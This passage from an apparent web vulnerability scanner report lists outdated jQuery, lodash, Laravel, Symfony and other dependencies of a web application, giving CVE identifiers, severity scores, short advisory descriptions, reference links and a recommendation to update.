- https://lists.apache.org/thread.html/r564585d97bc069137e64f521e68ba490c7c9c5b342df5d73c49a0760%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/ree3bd8ddb23df5fa4e372d11c226830ea3650056b1059f3965b3fce2%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/rede9cfaa756e050a3d83045008f84a62802fc68c17f2b4eabeaae5e4%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/r54565a8f025c7c4f305355fdfd75b68eca442eebdb5f31c2e7d977ae%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/re4ae96fa5c1a2fe71ccbb7b7ac1538bd0cb677be270a2bf6e2f8d108%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/r0483ba0072783c2e1bfea613984bfb3c86e73ba8879d780dc1cc7d36%40%3Cissues.flink.apache.org%3E

**Package:** jquery
**Version:** 3.3.1
**CVE:** CVE-2020-11022
**Title:** Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
**Description:** In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.

**CVSS V2:** AV:N/AC:M/Au:N/C:N/I:P/A:N
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
**CWE:** CWE-79
**References:**

- https://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2
- https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
- https://jquery.com/upgrade-guide/3.5/
- https://github.com/jquery/jquery/commit/1d61fd9407e6fbe82fe55cb0b938307aa0791f77
- https://security.netapp.com/advisory/ntap-20200511-0006/
- https://www.drupal.org/sa-core-2020-002
- https://www.debian.org/security/2020/dsa-4693
- https://www.oracle.com/security-alerts/cpujul2020.html
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00067.html
- https://security.gentoo.org/glsa/202007-03
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00085.html
- https://www.oracle.com/security-alerts/cpuoct2020.html
- http://lists.opensuse.org/opensuse-security-announce/2020-11/msg00039.html
- https://www.tenable.com/security/tns-2020-10
- https://www.tenable.com/security/tns-2020-11
- https://www.oracle.com/security-alerts/cpujan2021.html
- https://www.tenable.com/security/tns-2021-02
- https://lists.debian.org/debian-lts-announce/2021/03/msg00033.html
- http://packetstormsecurity.com/files/162159/jQuery-1.2-Cross-Site-Scripting.html
- https://www.tenable.com/security/tns-2021-10
- https://www.oracle.com/security-alerts/cpuApr2021.html
- https://www.oracle.com//security-alerts/cpujul2021.html
- https://www.oracle.com/security-alerts/cpuoct2021.html
- https://www.oracle.com/security-alerts/cpujan2022.html
- https://www.oracle.com/security-alerts/cpuapr2022.html
- https://www.oracle.com/security-alerts/cpujul2022.html
- https://lists.debian.org/debian-lts-announce/2023/08/msg00040.html
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VOE7P7APPRQKD4FGNHBKJPDY6FFCOH3W/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QPN2L2XVQGUA2V5HNQJWHK3APSK3VN7K/
- https://lists.apache.org/thread.html/rdf44341677cf7eec7e9aa96dcf3f37ed709544863d619cca8c36f133%40%3Ccommits.airflow.apache.org%3E
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SFP4UK4EGP4AFH2MWYJ5A5Z4I7XVFQ6B/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AVKYXLWCLZBV2N7M46KYK4LVA5OXWPBY/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SAPQVX3XDNPGFT26QAQ6AJIXZZBZ4CD4/
- https://lists.apache.org/thread.html/r706cfbc098420f7113968cc377247ec3d1439bce42e679c11c609e2d%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/rbb448222ba62c430e21e13f940be4cb5cfc373cd3bce56b48c0ffa67%40%3Cdev.flink.apache.org%3E
- https://lists.apache.org/thread.html/r49ce4243b4738dd763caeb27fa8ad6afb426ae3e8c011ff00b8b1f48%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/r8f70b0f65d6bedf316ecd899371fd89e65333bc988f6326d2956735c%40%3Cissues.flink.apache.org%3E

- https://lists.apache.org/thread.html/r564585d97bc069137e64f521e68ba490c7c9c5b342df5d73c49a0760%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/ree3bd8ddb23df5fa4e372d11c226830ea3650056b1059f3965b3fce2%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/rede9cfaa756e050a3d83045008f84a62802fc68c17f2b4eabeaae5e4%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/r54565a8f025c7c4f305355fdfd75b68eca442eebdb5f31c2e7d977ae%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/re4ae96fa5c1a2fe71ccbb7b7ac1538bd0cb677be270a2bf6e2f8d108%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/r0483ba0072783c2e1bfea613984bfb3c86e73ba8879d780dc1cc7d36%40%3Cissues.flink.apache.org%3E

**Package:** jquery
**Version:** 3.3.1
**CVE:** CVE-2019-11358
**Title:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
**Description:** jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable __proto__ property, it could extend the native Object.prototype.
**CVSS V2:** AV:N/AC:M/Au:N/C:N/I:P/A:N
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
**CWE:** CWE-1321
**References:**
- https://www.drupal.org/sa-core-2019-006
- https://snyk.io/vuln/SNYK-JS-JQUERY-174006
- https://github.com/jquery/jquery/pull/4333
- https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b
- https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/
- https://backdropcms.org/security/backdrop-sa-core-2019-009
- https://www.debian.org/security/2019/dsa-4434
- https://seclists.org/bugtraq/2019/Apr/32
- http://www.securityfocus.com/bid/108023
- https://lists.debian.org/debian-lts-announce/2019/05/msg00006.html
- https://seclists.org/bugtraq/2019/May/18
- http://packetstormsecurity.com/files/152787/dotCMS-5.1.1-Vulnerable-Dependencies.html
- http://seclists.org/fulldisclosure/2019/May/13
- http://seclists.org/fulldisclosure/2019/May/11
- http://seclists.org/fulldisclosure/2019/May/10
- https://lists.debian.org/debian-lts-announce/2019/05/msg00029.html
- http://www.openwall.com/lists/oss-security/2019/06/03/2
- http://packetstormsecurity.com/files/153237/RetireJS-CORS-Issue-Script-Execution.html
- https://access.redhat.com/errata/RHSA-2019:1456
- https://www.debian.org/security/2019/dsa-4460
- https://seclists.org/bugtraq/2019/Jun/12
- https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html
- https://www.privacy-wise.com/mitigating-cve-2019-11358-in-old-versions-of-jquery/
- http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00006.html
- https://access.redhat.com/errata/RHBA-2019:1570
- http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00025.html
- https://access.redhat.com/errata/RHSA-2019:2587
- https://security.netapp.com/advisory/ntap-20190919-0001/
- https://access.redhat.com/errata/RHSA-2019:3023

- https://access.redhat.com/errata/RHSA-2019:3024
- https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html
- https://www.synology.com/security/advisory/Synology_SA_19_19
- https://www.tenable.com/security/tns-2019-08
- https://www.oracle.com/security-alerts/cpujan2020.html
- https://lists.debian.org/debian-lts-announce/2020/02/msg00024.html
- http://packetstormsecurity.com/files/156743/OctoberCMS-Insecure-Dependencies.html
- https://www.tenable.com/security/tns-2020-02
- https://www.oracle.com/security-alerts/cpuapr2020.html
- https://www.oracle.com/security-alerts/cpujul2020.html
- https://www.oracle.com/security-alerts/cpuoct2020.html
- https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601
- https://www.oracle.com/security-alerts/cpujan2021.html
- https://www.oracle.com/security-alerts/cpuApr2021.html
- https://www.oracle.com//security-alerts/cpujul2021.html
- https://www.oracle.com/security-alerts/cpuoct2021.html
- https://www.oracle.com/security-alerts/cpujan2022.html
- https://supportportal.juniper.net/s/article/2021-07-Security-Bulletin-Junos-OS-Multiple-J-Web-vulnerabilities-resolved-in-Junos-OS-21-2R1
- https://lists.debian.org/debian-lts-announce/2023/08/msg00040.html
- https://lists.apache.org/thread.html/08720ef215ee7ab3386c05a1a90a7d1c852bf0706f176a7816bf65fc%40%3Ccommits.airflow.apache.org%3E
- https://lists.apache.org/thread.html/b736d0784cf02f5a30fbb4c5902762a15ad6d47e17e2c5a17b7d6205%40%3Ccommits.airflow.apache.org%3E
- https://lists.apache.org/thread.html/88fb0362fd40e5b605ea8149f63241537b8b6fb5bfa315391fc5cbb7%40%3Ccommits.airflow.apache.org%3E
- https://lists.apache.org/thread.html/5928aa293e39d248266472210c50f176cac1535220f2486e6a7fa844%40%3Ccommits.airflow.apache.org%3E
- https://lists.apache.org/thread.html/6097cdbd6f0a337bedd9bb5cc441b2d525ff002a96531de367e4259f%40%3Ccommits.airflow.apache.org%3E
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5IABSKTYZ5JUGL735UKGXL5YPRYOPUYI/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4UOAZIFCSZ3ENEFOR5IXX6NFAD3HV7FA/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KYH3OAGR2RTCHRA5NOKX2TES7SNQMWGO/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RLXRX23725JL366CNZGJZ7AQQB7LHQ6F/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QV3PKZC3PQCO3273HAT76PAQZFBEO4KP/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WZW27UCJ5CYFL4KFFFMYMIBNMIU2ALG5/
- https://lists.apache.org/thread.html/ba79cf1658741e9f146e4c59b50aee56656ea95d841d358d006c18b6%40%3Ccommits.roller.apache.org%3E
- https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442%40%3Cdev.drill.apache.org%3E
- https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E
- https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b

4d798e13cc%40%3Cissues.drill.apache.org%3E
- https://lists.apache.org/thread.html/bcce5a9c532b386c68dab2f6b3ce8b0cc9b950ec551766e76391caa3%40%3Ccommits.nifi.apache.org%3E
- https://lists.apache.org/thread.html/rca37935d661f4689cb4119f1b3b224413b22be161b678e6e6ce0c69b%40%3Ccommits.nifi.apache.org%3E
- https://lists.apache.org/thread.html/r38f0d1aa3c923c22977fe7376508f030f22e22c1379fbb155bf29766%40%3Cdev.syncope.apache.org%3E
- https://lists.apache.org/thread.html/r7aac081cbddb6baa24b75e74abf0929bf309b176755a53e3ed810355%40%3Cdev.flink.apache.org%3E
- https://lists.apache.org/thread.html/rac25da84ecdcd36f6de5ad0d255f4e967209bbbebddb285e231da37d%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/r2041a75d3fc09dec55adfd95d598b38d22715303f65c997c054844c9%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/r7e8ebccb7c022e41295f6fdb7b971209b83702339f872ddd8cf8bf73%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/r41b5bfe009c845f67d4f68948cc9419ac2d62e287804aafd72892b08%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/r2baacab6e0acb5a2092eb46ae04fd6c3e8277b4fd79b1ffb7f3254fa%40%3Cissues.flink.apache.org%3E
- https://lists.apache.org/thread.html/r7d64895cc4dff84d0becfc572b20c0e4bf9bfa7b10c6f5f73e783734%40%3Cdev.storm.apache.org%3E

**Package:** lodash
**Version:** 3.10.1
**CVE:** CVE-2018-3721
**Title:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
**Description:** lodash node module before 4.17.5 suffers from a Modification of Assumed-Immutable Data (MAID) vulnerability via defaultsDeep, merge, and mergeWith functions, which allows a malicious user to modify the prototype of "Object" via __proto__, causing the addition or modification of an existing property that will exist on all objects.
**CVSS V2:** AV:N/AC:L/Au:S/C:N/I:P/A:N
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
**CWE:** CWE-1321
**References:**
- https://hackerone.com/reports/310443
- https://github.com/lodash/lodash/commit/d8e069cc3410082e44eb18fcf8e7f3d08ebe1d4a
- https://security.netapp.com/advisory/ntap-20190919-0004/

**Package:** lodash
**Version:** 3.10.1
**CVE:** CVE-2020-28500
**Title:**
**Description:** Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
**CWE:** NVD-CWE-Other
**References:**
- https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8

- https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892
- https://snyk.io/vuln/SNYK-JS-LODASH-1018905
- https://github.com/lodash/lodash/pull/5065
- https://security.netapp.com/advisory/ntap-20210312-0006/
- https://www.oracle.com//security-alerts/cpujul2021.html
- https://www.oracle.com/security-alerts/cpuoct2021.html
- https://www.oracle.com/security-alerts/cpujan2022.html
- https://www.oracle.com/security-alerts/cpujul2022.html
- https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf

**Package:** lodash
**Version:** 3.10.1
**CVE:** CVE-2018-16487
**Title:**
**Description:** A prototype pollution vulnerability was found in lodash <4.17.11 where the functions merge, mergeWith, and defaultsDeep can be tricked into adding or modifying properties of Object.prototype.
**CVSS V2:** AV:N/AC:M/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
**CWE:** NVD-CWE-noinfo
**References:**
- https://hackerone.com/reports/380873
- https://security.netapp.com/advisory/ntap-20190919-0004/

**Package:** lodash
**Version:** 3.10.1
**CVE:** CVE-2019-1010266
**Title:** Allocation of Resources Without Limits or Throttling
**Description:** lodash prior to 4.17.11 is affected by: CWE-400: Uncontrolled Resource Consumption. The impact is: Denial of service. The component is: Date handler. The attack vector is: Attacker provides very long strings, which the library attempts to match using a regular expression. The fixed version is: 4.17.11.
**CVSS V2:** AV:N/AC:L/Au:S/C:N/I:N/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-770
**References:**
- https://github.com/lodash/lodash/issues/3359
- https://snyk.io/vuln/SNYK-JS-LODASH-73639
- https://github.com/lodash/lodash/wiki/Changelog
- https://security.netapp.com/advisory/ntap-20190919-0004/

**Package:** minimist
**Version:** 1.2.0
**CVE:** CVE-2020-7598
**Title:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
**Description:** minimist before 1.2.2 could be tricked into adding or modifying properties of Object.prototype using a "constructor" or "__proto__" payload.
**CVSS V2:** AV:N/AC:M/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
**CWE:** CWE-1321
**References:**
- https://snyk.io/vuln/SNYK-JS-MINIMIST-559764
- http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00024.html

**Package:** socket.io
**Version:** 2.1.1
**CVE:** CVE-2020-28481
**Title:** Origin Validation Error
**Description:** The package socket.io before 2.4.0 are vulnerable to Insecure Defaults due to CORS Misconfiguration. All domains are whitelisted by default.
**CVSS V2:** AV:N/AC:L/Au:S/C:P/I:N/A:N
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
**CWE:** CWE-346
**References:**
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1056358
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1056357
- https://snyk.io/vuln/SNYK-JS-SOCKETIO-1024859
- https://github.com/socketio/socket.io/issues/3671

**Package:** ws
**Version:** 3.3.3
**CVE:** CVE-2021-32640
**Title:** Uncontrolled Resource Consumption
**Description:** ws is an open source WebSocket client and server library for Node.js. A specially crafted value of the `Sec-Websocket-Protocol` header can be used to significantly slow down a ws server. The vulnerability has been fixed in ws@7.4.6 (https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff). In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the [`--max-http-header-size=size`] (https://nodejs.org/api/cli.html#cli_max_http_header_size_size) and/or the [`maxHeaderSize`] (https://nodejs.org/api/http.html#http_http_createserver_options_requestlistener) options.
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
**CWE:** CWE-400
**References:**
- https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693
- https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff
- https://security.netapp.com/advisory/ntap-20210706-0005/
- https://lists.apache.org/thread.html/rdfa7b6253c4d6271e31566ecd5f30b7ce1b8fb2c89d52b8c4e0f4e30%40%3Ccommits.tinkerpop.apache.org%3E

**Package:** yargs-parser
**Version:** 4.2.1
**CVE:** CVE-2020-7608
**Title:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
**Description:** yargs-parser could be tricked into adding or modifying properties of Object.prototype using a "__proto__" payload.
**CVSS V2:** AV:L/AC:L/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
**CWE:** CWE-1321
**References:**
- https://snyk.io/vuln/SNYK-JS-YARGSPARSER-560381

| | |
|---|---|
| **/simpeg/** | |
| **Alert group** | **Vulnerable package dependencies [medium]** |

| | |
|---|---|
| Severity | Medium |
| Description | One or more packages that are used in your web application are affected by known vulnerabilities. Please consult the details section for more information about each affected package. |
| Recommendations | It's recommended to update the vulnerable packages to the latest version (if a fix exists). If a fix does not exist, you may want to suggest changes that address the vulnerability to the package maintainer or remove the package from your dependency tree. |
| Alert variants | |

| | |
|---|---|
| Details | List of vulnerable **composer** packages:<br><br>**Package:** laravel/framework<br>**Version:** 5.1.37<br>**CVE:** CVE-2017-14775<br>**Title:** Exposure of Sensitive Information to an Unauthorized Actor<br>**Description:** Laravel before 5.5.10 mishandles the remember_me token verification process because DatabaseUserProvider does not have constant-time token comparison.<br>**CVSS V2:** AV:N/AC:M/Au:N/C:P/I:N/A:N<br>**CVSS V3:** CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N<br>**CWE:** CWE-200<br>**References:**<br>• https://laravel-news.com/laravel-v5-5-11<br>• https://github.com/laravel/framework/releases/tag/v5.5.10<br>• https://github.com/laravel/framework/pull/21320<br><br>**Package:** laravel/framework<br>**Version:** 5.1.37<br>**CVE:** CVE-2021-43808<br>**Title:** Use of a Broken or Risky Cryptographic Algorithm<br>**Description:** Laravel is a web application framework. Laravel prior to versions 8.75.0, 7.30.6, and 6.20.42 contain a possible cross-site scripting (XSS) vulnerability in the Blade templating engine. A broken HTML element may be clicked and the user taken to another location in their browser due to XSS. This is due to the user being able to guess the parent placeholder SHA-1 hash by trying common names of sections. If the parent template contains an exploitable HTML structure an XSS vulnerability can be exposed. This vulnerability has been patched in versions 8.75.0, 7.30.6, and 6.20.42 by determining the parent placeholder at runtime and using a random hash that is unique to each request.<br>**CVSS V2:** AV:N/AC:M/Au:N/C:N/I:P/A:N<br>**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N<br>**CWE:** CWE-327<br>**References:**<br>• https://github.com/laravel/framework/releases/tag/v6.20.42<br>• https://github.com/laravel/framework/commit/b8174169b1807f36de1837751599e2828ceddb9b<br>• https://github.com/laravel/framework/pull/39909<br>• https://github.com/laravel/framework/pull/39908<br>• https://github.com/laravel/framework/security/advisories/GHSA-66hf-2p6w-jqfw<br>• https://github.com/laravel/framework/pull/39906<br>• https://github.com/laravel/framework/releases/tag/v7.30.6<br>• https://github.com/laravel/framework/releases/tag/v8.75.0<br><br>**Package:** symfony/http-foundation<br>**Version:** 2.7.14<br>**CVE:** CVE-2018-11386<br>**Title:** Insufficient Session Expiration<br>**Description:** An issue was discovered in the HttpFoundation component in Symfony 2.7.x before 2.7.48, 2.8.x before 2.8.41, 3.3.x before 3.3.17, 3.4.x before 3.4.11, and 4.0.x before 4.0.11. The PDOSessionHandler class allows storing sessions on a PDO connection. Under some configurations and with a well-crafted payload, it was possible to do a denial of service on a Symfony application without too much resources.<br>**CVSS V2:** AV:N/AC:M/Au:N/C:N/I:N/A:P<br>**CVSS V3:** CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H<br>**CWE:** CWE-613<br>**References:**<br>• https://symfony.com/blog/cve-2018-11386-denial-of-service-when-using-pdosessionhandler<br>• https://www.debian.org/security/2018/dsa-4262 |

| | |
|---|---|
| | • https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UBQK7JDXIELADIPGZIOUCZKMAJM5LSBW/<br>• https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WU5N2TZFNGXDGMXMPP7LZCWTFLENF6WH/<br>• https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/G4XNBMFW33H47O5TZGA7JYCVLDBCXAJV/<br><br>**Package:** symfony/http-foundation<br>**Version:** 2.7.14<br>**CVE:** CVE-2018-14773<br>**Title:**<br>**Description:** An issue was discovered in Http Foundation in Symfony 2.7.0 through 2.7.48, 2.8.0 through 2.8.43, 3.3.0 through 3.3.17, 3.4.0 through 3.4.13, 4.0.0 through 4.0.13, and 4.1.0 through 4.1.2. It arises from support for a (legacy) IIS header that lets users override the path in the request URL via the X-Original-URL or X-Rewrite-URL HTTP request header. These headers are designed for IIS support, but it's not verified that the server is in fact running IIS, which means anybody who can send these requests to an application can trigger this. This affects \Symfony\Component\HttpFoundation\Request::prepareRequestUri() where X-Original-URL and X_REWRITE_URL are both used. The fix drops support for these methods so that they cannot be used as attack vectors such as web cache poisoning.<br>**CVSS V2:** AV:N/AC:L/Au:S/C:N/I:P/A:N<br>**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N<br>**CWE:** NVD-CWE-noinfo<br>**References:**<br>• https://www.drupal.org/SA-CORE-2018-005<br>• https://symfony.com/blog/cve-2018-14773-remove-support-for-legacy-and-risky-http-headers<br>• https://github.com/symfony/symfony/commit/e447e8b92148ddb3d1956b96638600ec95e08f6b<br>• http://www.securitytracker.com/id/1041405<br>• http://www.securityfocus.com/bid/104943<br>• https://lists.debian.org/debian-lts-announce/2019/03/msg00009.html<br>• https://www.debian.org/security/2019/dsa-4441<br>• https://seclists.org/bugtraq/2019/May/21 |

| **/skp/** | |
|---|---|
| **Alert group** | **Vulnerable package dependencies [medium]** |
| Severity | Medium |
| Description | One or more packages that are used in your web application are affected by known vulnerabilities. Please consult the details section for more information about each affected package. |
| Recommendations | It's recommended to update the vulnerable packages to the latest version (if a fix exists). If a fix does not exist, you may want to suggest changes that address the vulnerability to the package maintainer or remove the package from your dependency tree. |
| Alert variants | |

| | |
|---|---|
| Details | List of vulnerable **composer** packages:<br><br>**Package:** filp/whoops<br>**Version:** 1.1.5<br>**CVE:** CVE-2017-16880<br>**Title:** Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')<br>**Description:** The dump function in Util/TemplateHelper.php in filp whoops before 2.1.13 has XSS.<br>**CVSS V2:** AV:N/AC:M/Au:N/C:N/I:P/A:N<br>**CVSS V3:** CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N<br>**CWE:** CWE-79<br>**References:**<br>• https://github.com/filp/whoops/commit/c16791d28d1ca3139e398145f0c6565c523c291a<br><br>**Package:** laravel/framework<br>**Version:** 4.2.17<br>**CVE:** CVE-2017-14775<br>**Title:** Exposure of Sensitive Information to an Unauthorized Actor<br>**Description:** Laravel before 5.5.10 mishandles the remember_me token verification process because DatabaseUserProvider does not have constant-time token comparison.<br>**CVSS V2:** AV:N/AC:M/Au:N/C:P/I:N/A:N<br>**CVSS V3:** CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N<br>**CWE:** CWE-200<br>**References:**<br>• https://laravel-news.com/laravel-v5-5-11<br>• https://github.com/laravel/framework/releases/tag/v5.5.10<br>• https://github.com/laravel/framework/pull/21320<br><br>**Package:** laravel/framework<br>**Version:** 4.2.17<br>**CVE:** CVE-2021-43808<br>**Title:** Use of a Broken or Risky Cryptographic Algorithm<br>**Description:** Laravel is a web application framework. Laravel prior to versions 8.75.0, 7.30.6, and 6.20.42 contain a possible cross-site scripting (XSS) vulnerability in the Blade templating engine. A broken HTML element may be clicked and the user taken to another location in their browser due to XSS. This is due to the user being able to guess the parent placeholder SHA-1 hash by trying common names of sections. If the parent template contains an exploitable HTML structure an XSS vulnerability can be exposed. This vulnerability has been patched in versions 8.75.0, 7.30.6, and 6.20.42 by determining the parent placeholder at runtime and using a random hash that is unique to each request.<br>**CVSS V2:** AV:N/AC:M/Au:N/C:N/I:P/A:N<br>**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N<br>**CWE:** CWE-327<br>**References:**<br>• https://github.com/laravel/framework/releases/tag/v6.20.42<br>• https://github.com/laravel/framework/commit/b8174169b1807f36de1837751599e2828ceddb9b<br>• https://github.com/laravel/framework/pull/39909<br>• https://github.com/laravel/framework/pull/39908<br>• https://github.com/laravel/framework/security/advisories/GHSA-66hf-2p6w-jqfw<br>• https://github.com/laravel/framework/pull/39906<br>• https://github.com/laravel/framework/releases/tag/v7.30.6<br>• https://github.com/laravel/framework/releases/tag/v8.75.0<br><br>**Package:** symfony/http-foundation<br>**Version:** 2.5.11<br>**CVE:** CVE-2018-11386 |

| | |
|---|---|
| | **Title:** Insufficient Session Expiration<br>**Description:** An issue was discovered in the HttpFoundation component in Symfony 2.7.x before 2.7.48, 2.8.x before 2.8.41, 3.3.x before 3.3.17, 3.4.x before 3.4.11, and 4.0.x before 4.0.11. The PDOSessionHandler class allows storing sessions on a PDO connection. Under some configurations and with a well-crafted payload, it was possible to do a denial of service on a Symfony application without too much resources.<br>**CVSS V2:** AV:N/AC:M/Au:N/C:N/I:N/A:P<br>**CVSS V3:** CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H<br>**CWE:** CWE-613<br>**References:**<br>• https://symfony.com/blog/cve-2018-11386-denial-of-service-when-using-pdosessionhandler<br>• https://www.debian.org/security/2018/dsa-4262<br>• https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UBQK7JDXIELADIPGZIOUCZKMAJM5LSBW/<br>• https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WU5N2TZFNGXDGMXMPP7LZCWTFLENF6WH/<br>• https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/G4XNBMFW33H47O5TZGA7JYCVLDBCXAJV/<br><br>**Package:** symfony/http-kernel<br>**Version:** 2.5.11<br>**CVE:** CVE-2015-4050<br>**Title:** Improper Access Control<br>**Description:** FragmentListener in the HttpKernel component in Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment.<br>**CVSS V2:** AV:N/AC:M/Au:N/C:N/I:P/A:N<br>**CVSS V3:**<br>**CWE:** CWE-284<br>**References:**<br>• http://symfony.com/blog/cve-2015-4050-esi-unauthorized-access<br>• http://www.debian.org/security/2015/dsa-3276<br>• http://www.securityfocus.com/bid/74928<br>• http://lists.fedoraproject.org/pipermail/package-announce/2015-June/159610.html<br>• http://lists.fedoraproject.org/pipermail/package-announce/2015-June/159603.html<br>• http://lists.fedoraproject.org/pipermail/package-announce/2015-June/159513.html |

| **Web Server** | |
|---|---|
| **Alert group** | **Apache mod_negotiation filename bruteforcing** |
| Severity | Low |
